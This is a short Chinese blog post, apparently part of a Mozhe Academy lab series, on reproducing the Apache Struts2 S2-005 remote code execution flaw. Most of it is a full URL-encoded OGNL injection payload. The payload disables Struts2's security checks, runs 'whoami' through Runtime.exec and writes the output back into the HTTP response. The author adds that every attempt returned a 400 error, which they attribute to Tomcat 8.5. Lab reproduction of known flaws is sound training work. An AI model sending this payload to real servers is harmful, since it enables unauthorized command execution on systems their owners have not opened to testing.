0x23. Apache Struts2远程代码执行漏洞(S2-005)复现

最新推荐文章于 2022-04-15 10:05:09 发布

半情调

最新推荐文章于 2022-04-15 10:05:09 发布

阅读量824

点赞数

分类专栏：墨者学院文章标签：墨者学院 S2-005

本文链接：https://blog.csdn.net/qq_31679787/article/details/102606087

版权

墨者学院专栏收录该内容

57 篇文章 0 订阅

订阅专栏

通过构造poc测试漏洞；
poc：%28%27\43_memberAccess.allowStaticMethodAccess%27%29%28a%29%3Dtrue&%28b%29%28%28%27\43context%5B\%27xwork.MethodAccessor.denyMethodExecution\%27%5D\75false%27%29%28b%29%29&%28%27\43c%27%29%28%28%27\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27\43mycmd\75\%27whoami\%27%27%29%28d%29%29&%28h%29%28%28%27\43myret\75@java.lang.Runtime@getRuntime%28%29.exec%28\43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27\43mydat\75new\40java.io.DataInputStream%28\43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27\43myres\75new\40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27\43mydat.readFully%28\43myres%29%27%29%28d%29%29&%28l%29%28%28%27\43mystr\75new\40java.lang.String%28\43myres%29%27%29%28d%29%29&%28m%29%28%28%27\43myout\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27\43myout.getWriter%28%29.println%28\43mystr%29%27%29%28d%29%29
但是怎么构造都显示400错误，无法回显；
经过测试是由于tomcat的版本是8.5的原因；